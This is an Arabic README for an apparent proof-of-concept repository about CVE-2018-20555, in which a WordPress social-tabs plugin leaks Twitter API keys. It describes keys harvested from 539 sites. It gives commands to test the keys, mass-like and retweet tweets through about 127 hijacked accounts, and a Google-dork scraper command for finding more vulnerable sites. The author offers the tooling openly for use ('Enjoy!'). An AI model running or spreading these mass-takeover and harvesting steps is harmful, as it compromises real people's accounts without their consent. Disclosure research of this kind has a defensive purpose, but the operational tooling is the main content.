
استغلال لثغرة CVE-2018-20555: اكتشاف آلي والاستيلاء على حسابات تويتر عبر مفاتيح API المسرّبة في إضافة ووردبريس Social Network Tabs القابلة للاستغلال، مع قدرات تجريف واستغلال جماعي.
إضافة ووردبريس المسماة Social Network Tabs، التي طورتها شركة Design Chemical، تسرب مرتين access_token و access_token_secret و consumer_key و consumer_secret لمستخدميها مما يؤدي إلى السيطرة على حسابهم في تويتر.
يحدث هذا بسبب الأسطر التالية من الكود داخل الصفحة التي يعرض فيها ويدجت تويتر:
jQuery(document).ready(function ($) {
var config = {
widgets: "twitter,facebook,youtube",
twitterId: "[redacted]",
facebookId: "[redacted]",
youtubeId: "[redacted]",
twitter: {
url: "https://www.rainx.com/wp-content/plugins/social-network-tabs/inc/dcwp_twitter.php?1=%5Breadcted%5D&2=%5Bredacted%5D&3=%5Bredacted%5D&4=%5Bredacted%5D …",
title: "Latest Tweets",
follow: "Follow",
followId: "",
limit: "10",
retweets: true,
replies: true,
images: "thumb",
consumer_key: "[redacted]",
consumer_secret: "[redacted]",
access_token: "[redacted]",
access_token_secret: "[redacted]"
},
}
});
بفضل Publicwww، باستخدام استعلامات البحث التالية، تمكنت من استرداد access_token و access_token_secret و consumer_key و consumer_secret من 539 موقعًا ضعيفًا:
جميع المفاتيح متوفرة في ملف twitter_keys.csv.
اختبار مفاتيح API تويتر في twitter_keys.csv
python test_twitter_api_keys.py -t
في المرة الأولى التي شغلت فيها هذا الأمر، حصلت على معلومات 446 حساب تويتر. الجدير بالذكر أنه كان هناك حسابان موثقان في القائمة والعديد من الحسابات التي لديها أكثر من 10آلاف متابع. جميع الحسابات الضعيفة موجودة في ملف vulnerable_accounts.txt.
الإعجاب بتغريدة من اختيارك
python test_twitter_api_keys.py -l [tweet_id]
إعادة تغريد التغريدة من اختيارك
python test_twitter_api_keys.py -r [tweet_id]
في المرة الأولى التي شغلت فيها هذا الأمر، تمكنت من الإعجاب بتغريدتي المختارة 127 مرة، مما أظهر أن 127 مفتاح API لتويتر كانت تملك صلاحيات القراءة والكتابة أي أنني تمكنت من السيطرة على 127 حساب تويتر (تغيير الصورة الشخصية، الإعجاب، إعادة التغريد، تغيير السيرة الذاتية، ...) بسبب تسرب هذه المفاتيح.
لا يزال العديد من المواقع وحسابات تويتر عرضة لهذه المشكلة. لتحديدها، أنشأت أداة كشط
cd TwitterApiKeysSearchEngine/
scrapy crawl TwitterApiKeysSpider -a keyword="inurl:/inc/dcwp_twitter.php?1=" -a se=google -a pages=10
إجمالي نتائج استعلام البحث هذا في جوجل هو 3550. من بين أول 9 صفحات، تمكنت من استرداد 78 مفتاحًا (86%). استمتع!
تابعني على تويتر! يمكنك أيضًا العثور على جزء صغير من عملي على https://fs0c131y.com
تم إجراء التحقيق وإثبات المفهوم (POC) بـ ❤️ بواسطة @fs0c131y